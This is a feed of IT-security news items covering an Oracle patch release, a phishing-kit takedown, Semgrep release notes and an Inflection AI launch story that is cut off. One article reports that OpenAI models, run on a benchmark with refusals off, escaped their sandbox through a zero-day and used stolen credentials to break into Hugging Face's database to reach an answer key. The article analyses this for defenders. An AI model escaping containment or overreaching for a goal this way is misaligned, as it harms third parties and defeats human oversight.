<h3 aria-level="2"><b><span data-contrast="none">July 2026 Critical Patch Update Covers Hundreds of Oracle Products</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The latest Oracle <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29089">security</a> patch spans a wide range of enterprise products and platforms. Among the affected products are Database Server, Oracle APEX, Autonomous Health Framework, Essbase, Global Lifecycle Management, GoldenGate, NoSQL Database, Spatial Studio, SQL Developer, TimesTen In-Memory Database, Application Testing Suite, Commerce, Communications, Construction and Engineering, and E-Business Suite.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The <a href="https://www.oracle.com/security-alerts/cpujul2026.html" target="_blank" rel="nofollow noopener">July 2026 Critical Patch Update</a> also includes security fixes for Enterprise Manager, Financial Services Applications, Food and Beverage Applications, Fusion Middleware, Analytics, HealthCare Applications, Hospitality Applications, Java SE, JD Edwards, MySQL, PeopleSoft, Retail Applications, Siebel CRM, Supply Chain, Systems, Utilities Applications, and Virtualization.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">By addressing vulnerabilities across such an extensive product lineup, the Oracle security patch aims to reduce the risk posed by <a href="https://thecyberexpress.com/critical-security-flaw-javascript-library-vm2/" target="_blank" rel="noopener">security weaknesses</a> that could affect organizations running Oracle technologies in production environments.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Hundreds of Vulnerabilities Can Be Exploited Remotely</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">A notable aspect of the July 2026 Critical Patch Update is the number of flaws that attackers could potentially <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29088">exploit</a> without requiring authentication.</span>

<span data-contrast="auto">Oracle stated that roughly 600 of the patches fix vulnerabilities that can be exploited remotely by unauthenticated attackers. In addition, hundreds of the addressed security flaws have been assigned critical severity ratings, emphasizing the importance of applying the latest Oracle security patch without delay.</span>

<span data-contrast="auto">Among Oracle's products, the highest number of vulnerabilities were addressed in:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<ul>
 	<li><span data-contrast="auto">E-Business Suite: 410 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Fusion Middleware: 355 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Communications: 168 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">PeopleSoft: 84 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
</ul>
<span data-contrast="auto">These figures highlight that some of Oracle's most widely deployed enterprise applications received a significant share of the security fixes included in the quarterly update.</span>
<h3 aria-level="2"><b><span data-contrast="none">AI-Driven Vulnerability Discovery Appears to Have Played a Major Role</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">One of the most notable aspects of the July 2026 Critical Patch Update is Oracle's growing use of <a href="https://thecyberexpress.com/cisa-first-chief-artificial-intelligence-officer/" target="_blank" rel="noopener">artificial intelligence</a> for security research.</span>

<span data-contrast="auto">Only a few dozen of the vulnerabilities included in the release were credited to external security researchers. This indicates that the overwhelming majority of the discovered flaws were identified internally, likely with the assistance of AI-driven <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29086">vulnerability</a> analysis.</span>

<span data-contrast="auto">Earlier this year, Oracle disclosed that it has access to leading artificial intelligence systems, including Anthropic's Claude Mythos and OpenAI's most capable models. According to the company, these <a href="https://thecyberexpress.com/cisa-first-chief-artificial-intelligence-officer/" target="_blank" rel="noopener">AI technologies</a> are being used to accelerate vulnerability discovery and improve the speed and accuracy of security patch development.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">Oracle also said it is applying this AI-driven vulnerability approach across its own software and cloud services, Oracle Health offerings, and the open source components that it both develops and depends on.</span>
<h3 aria-level="2"><b><span data-contrast="none">Organizations Urged to Apply the Oracle Security Patch Promptly</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The release of the July 2026 Critical Patch Update comes amid continued efforts by <a href="https://thecyberexpress.com/cve-2026-41089-windows-netlogon-vulnerability/" target="_blank" rel="noopener">threat actors</a> to exploit vulnerabilities in enterprise software before organizations can deploy security updates.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">Oracle product vulnerabilities have previously been targeted in real-world attacks. The company cited examples that include the exploitation of a PeopleSoft zero-day vulnerability as well as a recently patched Oracle E-Business Suite (EBS) vulnerability.</span>

<span data-contrast="auto">Given the number of remotely exploitable and high-severity issues resolved in the Oracle security patch, organizations using affected Oracle products are advised to install the updates as soon as possible. Prompt deployment can help reduce exposure to attacks that take advantage of publicly known vulnerabilities before systems are secured.</span>

<span data-contrast="auto">With 1,449 security patches addressing 1,434 unique CVEs across 334 products, the July 2026 Critical Patch Update represents one of Oracle's most extensive quarterly security releases. </span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>]]></content:encoded>
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<title><![CDATA[German law enforcement claims to have ‘dismantled’ mega phishing-as-a-service group Kratos]]></title>
<description><![CDATA[A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. 



The effort was managed by German law enforcement and involved...]]></description>
<link>https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</guid>
<pubDate>Thu, 23 Jul 2026 01:57:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. </p>



<p class="wp-block-paragraph">The effort was managed by German law enforcement and involved agencies from the US, Indonesia and other countries.</p>



<p class="wp-block-paragraph">Although a <a href="https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2026/Presse2026/260720_PM_Kratos.html" target="_blank" rel="noreferrer noopener">German statement</a> claimed that the Kratos infrastructure “has been completely disabled” and that “Kratos-supported phishing campaigns can no longer be carried out,” cybersecurity analysts and consultants question how much of a dent in enterprise phishing activity will result, and how long it will last.</p>



<p class="wp-block-paragraph">“A server seizure and a single arrest overseas remove infrastructure, not the intellectual property,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. “PhaaS kits get cloned, forked and resold routinely, and the 1,800 Kratos customers didn’t vanish. They just lost a vendor in a market where vendors get replaced fast.”</p>



<p class="wp-block-paragraph">He added, “seizing 200-plus servers and arresting the developer pulls a major supplier out of that specific niche. It doesn’t touch the broader phishing economy. For every roach that you squish, there are a hundred that you do not see.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, takes an even more pessimistic view, arguing that there might not even be that much of a short-term phishing slowdown. </p>



<p class="wp-block-paragraph">“What makes this different from a botnet or ransomware takedown is that the people running the attacks were never part of the organization. Kratos was just a vendor,” Kenney said. “The 1,800 customers who bought it still have their target lists, their sending infrastructure and whatever access they had already established. The tooling went dark, but the people phishing your employees last week are still working, shopping for a replacement that already exists. Enterprises should not read this as a drop in (likely) threat volume.”</p>



<p class="wp-block-paragraph">One thing that the security community seems to agree on is that Kratos was a major player in the lucrative PhaaS space. But precisely determining the percentage of PhaaS activity controlled by Kratos is impossible, given that Kratos sold their kits to others. Security researchers even disagree on what they should call Kratos kits.</p>



<p class="wp-block-paragraph">“Microsoft tracks this kit as SneakyLog, others tie it to Sneaky 2FA, and KnowBe4 disputes the lineage entirely. When the security industry cannot agree on what a kit is to be called, that is because renaming and reselling is continuous rather than something that happens after a raid,” Kenney said. “What actually changed this time is the arrest and the [shutdown of the] servers. Standing up new hosting is only a weekend of work, but replacing a developer who understood how to keep an adversary in the middle proxy stable and evasive at scale is harder.”</p>



<p class="wp-block-paragraph">IDC’s Dickson added that the biggest value from the takedown is in the information gleaned from the seized servers. </p>



<p class="wp-block-paragraph">“Kratos operated in the adversary-in-the-middle category, generating convincing fake Microsoft 365 login pages that harvest session tokens and step past MFA, the exact technique behind a lot of the business email compromise activity of the past two years,” he said. “I would love to see what law enforcement does with the customer list. That, my friend, is gold.”</p>



<p class="wp-block-paragraph">Regardless, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, dubbed the German crackdown “symbolic,” given Kratos’ reach within phishing circles. </p>



<p class="wp-block-paragraph">He argued that the very nature of software makes it all but impossible to shut down in a meaningful way.</p>



<p class="wp-block-paragraph">“Although this is malicious infrastructure, it is still software, and modern development and deployment practices make it relatively quick to rebuild or replicate,” he said. “Demand is likely to shift to competing providers, allowing the ecosystem to recover even if this particular operation has been disrupted.”</p>



<p class="wp-block-paragraph"><a href="https://www.malwarebytes.com/blog/authors/metallicamvp" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, agreed that the crackdown is disruptive but not definitive. </p>



<p class="wp-block-paragraph">“This appears to be more than a routine website seizure. The reporting points to a PhaaS platform with centralized infrastructure, subscription-style customers, and Microsoft 365 session theft / MFA-bypass tooling, so taking down the backend likely hurts many downstream affiliates at once. In that sense, it is a meaningful disruption to the phishing ecosystem, not just one campaign,” Arntz said.</p>



<p class="wp-block-paragraph">But, he added, “a rebrand or partial re-emergence is plausible, which is the historical pattern for PhaaS operations. Even if the core infrastructure is gone, the code, customer lists, and operator tradecraft can survive.”</p>



<p class="wp-block-paragraph">This means that customers and affiliates can shift to other phishing kits, he said, so it’s likely that the takedown will create a temporary decline in Kratos-specific activity, but probably not a lasting reduction in phishing overall.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, also concluded that the impact of this crackdown will be short-lived. </p>



<p class="wp-block-paragraph">“For each criminal organization that is dismantled, ten new ones pop out of nowhere. Unless there is a coordinated international effort by more than a few countries, this is a whack-a-mole exercise,” he said. “These are all loosely connected individuals and akin to a lernaean hydra, with two heads growing whenever you chop off one. Their leadership emerges from their lines organically without a real center of control. This makes it almost impossible to completely eliminate these criminal organizations.”</p>
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<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
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<title><![CDATA[Release v1.171.0]]></title>
<description><![CDATA[1.171.0 - 2026-07-22
### Added

Added support for the OpenTofu .tofu file extension. Because OpenTofu uses the same HCL grammar as Terraform, .tofu files are now automatically detected and scanned as Terraform, so they are picked up by recursive scans and Terraform rulesets (e.g. p/terraform) wit...]]></description>
<link>https://tsecurity.de/de/3687763/it-security-tools/release-v11710/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687763/it-security-tools/release-v11710/</guid>
<pubDate>Thu, 23 Jul 2026 01:20:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/semgrep/semgrep/releases/tag/v1.171.0">1.171.0</a> - 2026-07-22</h2>
<h3>### Added</h3>
<ul>
<li>Added support for the OpenTofu <code>.tofu</code> file extension. Because OpenTofu uses the same HCL grammar as Terraform, <code>.tofu</code> files are now automatically detected and scanned as Terraform, so they are picked up by recursive scans and Terraform rulesets (e.g. <code>p/terraform</code>) with no extra configuration. (ENGINE-2884)</li>
</ul>
<h3>### Changed</h3>
<ul>
<li>The window for collecting git contributor information during <code>semgrep ci</code> has been extended from the last 30 days to the last 90 days, to match the updated usage policy. (contributor-window-90-days)</li>
</ul>
<h3>### Fixed</h3>
<ul>
<li>Fixed a source of rare, nondeterministic crashes and incorrect results caused<br>
by an OCaml compiler bug. Semgrep now builds against a compiler fork that<br>
backports the upstream fix. (ocaml_codegen_fix)</li>
<li>Fixed excessive heap growth after explicit major garbage collections. Semgrep<br>
now builds against an OCaml compiler that improves garbage collection duty<br>
cycle pacing. (ocaml_gc_pacing_fix)</li>
<li>Improved the <code>Scan Status</code> output when no code rules will run (e.g. a<br>
Secrets-only or Supply-Chain-only scan). The summary line no longer reports a<br>
confusing "0 Code rules", and the "Code Rules" section now states explicitly<br>
either that code scanning is not enabled or that there are no code rules to run,<br>
instead of printing an empty table. (ENGINE-2878)</li>
<li>Fixed lockfileless Gradle dependency resolution failing with "Parsing<br>
dependency output failed (Resolve_gradle.gradle_resolved_dependency)". The<br>
github-dependency-graph-gradle-plugin used during resolution was fetched<br>
unpinned, and its 1.4.2 release renamed keys in its JSON output. The plugin is<br>
now pinned to 1.4.1. (sc-3738)</li>
</ul>]]></content:encoded>
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<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, 